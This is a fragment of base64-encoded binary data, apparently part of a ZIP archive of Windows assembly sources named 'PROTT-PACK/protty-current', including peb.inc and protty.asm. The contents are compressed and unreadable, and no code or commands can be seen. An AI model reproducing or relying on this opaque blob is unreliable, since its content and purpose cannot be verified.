B0qHfTlbXd55qUfsQhx8k2u4yBq7nXRibHaOyM4R2TmibVZnTmJ+Is7EmWYa /ivuX5/Ew6a6VNQDGoAGIOmxfZOPraH2Q41taKzVqE0jQZptEh1LVzBAJolD JVV0ZGdARRZMFsssmCx9aapDRb5mKM8dex6s0nH7nZLSGKhToE7BNBOzywZm lr6bdkoSJ9FDjm3r4cWmoqc0Br4h8w2ZOZnsOf3PxUVomW4OBRqAhtwU5LXm qk917bIaB0vHqrFGwogEaQX0KZABMllkLELzfnPVtezDFnQ2VqEtEmakSiuo qY4H13PbnrjoJ3edK75tbTgsTed40Tkws9xvuTj20nSJU2vxed4p6Zp7pQ13 mQ0mx4vOObe7skiOe/DP2/aRwBbL88+7bQDDEKu9Kb18JPAOm+rRx8jgOb8P 2F15/nmjGZCYWE0tgtdU6ipfCrzCeP65Y0+vSGOVsy9XmW+6+XhxdlFcHCwt Vb4X5OKSDhDblcWxfCJIY5UOIFdZom4pXpy9U3y6aNpcu839qp7U2+t6Tmp9 Of5Q50NSz+vprJb1+Xl9uVFHv3xVa97GMZ3UIb0mdVjf0vf0yuQNvKi3p/Nh /ee8JT+d1NmHY+Jy9ba+fj2pb+k1p+V8/FFPyh+/Pzze//354fHz3f1vD3Jo 7j4cbrYWtTEe13gK79PpaeN/J3Mf93Nvv8SfZ7cDuh2XbfZ5/S6Z71PczU/7 +ZL984q7jd9ixem8gmE/d7+fY/ZuFp8KG9wH/P0LUEsDBBQAAAAIAHxTwTLh N3AbfgEAANICAAAtAAAAUFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9zb3Vy Y2UvcHJvdC9wZWIuaW5jfVFdT8IwFH0uCf/h+qbBwfDjBfxgwEAMAoFpNMYs 7XphTcZatyL6720nKEZDX3p7zz3nnnvbdBwHZoE3De4nM5j4bZhMx4HfCQbj ETh7T7nULIqDJ3vdGg44EGVINXJgHzARUmfQpqmgcMHsVVU21VosqUiqkVxe WYlYa9Wo1RSr5gojQRORI6+KdC4Nut/Bfnfl0si782fh0B/1gxtC8HUFhLju ydl5r+fGjo3qvufGJtuEQ0zlahEfXB9ZpkIWqkxqjDQhJohskqhVHlNughbH RNOTDBeATBXYUr4B0vdjvpYZB2Umn+eN51M3fjHivvcIIodUrosVM5rjv5Rn 86y40ZZTcTsxXFpKOOxOw64XeFtaLo5N7U9n9lsmF5W6kTHoL3N3Xn/QCa3e gze89w2SSg2FEIloksA6ExpDTVmCIaY6+ygUisE3ZVsp03EfyZbtGmKqMh52 beuXL+NESQW7I3yb3uBfJcW6M9R/PgVTXiy+XNroEs7BJYR8AlBLAwQUAAAA CABIiI4ydt4TyT4CAABeBgAAMQAAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJl bnQvc291cmNlL3Byb3QvdXNlZnVsbC5pbmOdU9uO2jAQfQZp/2G6T63KJYCE VlAqIEmXruiCAl1RVRUy8UAskjgyTpf262uTACmkkUry4NHMnHPmYner//fd lbvwwoSMiT8VXKIr374D3KMbSy7eqOgNfPZg0Xv1UCDUwTYXvR37fTCtRW/q TOa3kWrk/Js+nmxzDlVwBRKJFFa/YMq4FDAkISPwYaWPWqRd/U1AmF9zefBR U3hSRp16PVrVdhG6jPhsh7TGwjW/paS7ckC2uIzU1Eqlkjrcu3Ipinceocro U/QlaQrcAK4i5XCJ70O/v1cmpWDolP6+k0IA6f5kumeT7I9I+soFhUi1+V3x vV/+vbMfms710N02wajc20Jw0bne61pNA+m9pufRoUyB8rITDGmkffrvBpyy NVNTFiSkPIAwDlYoYIMhCqJuiNoDF2zDQuLrRchq0zAMjUzylzuUcXQaz6FK 1c0eHlHOmbs1eRyqAkoB/wlOgpgh0krSeFrcBdWxvky+8iYzPSUrgowqXHzT r7ORPtXlLAhaRcGBCirVVeI2PnkVaDW8UprWBceaz8w87S+TF0i1K9meAa5z B5YFqVpFA/JynMn4zNcoItEJ7Xbb+3dN2RUkwznkFo2w1cyJTaZHRQ01HXM5 ZLJzDM9GzrmrRuK7Jnl6Ng/nmPNomVJcZy0mGS7DtoYPD62m4WnZLFBrjydJ WakrRzJTd1pUgaClV2Itcmisz6cN5zKYo8czw2BxGb9GpJLpNchDFPSSe4uz C7oMOvb8+eolAehnB38AUEsDBBQAAAAIAI5IwTKG58q82gEAAOoEAAArAAAA UFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9zb3VyY2UvcHJvdHR5LmFzba1T 0W7bIBR9dqT8w1W1h02K3WR9S7cpTuppntosSvySaZKFATs0tkEGr+nfD0ys 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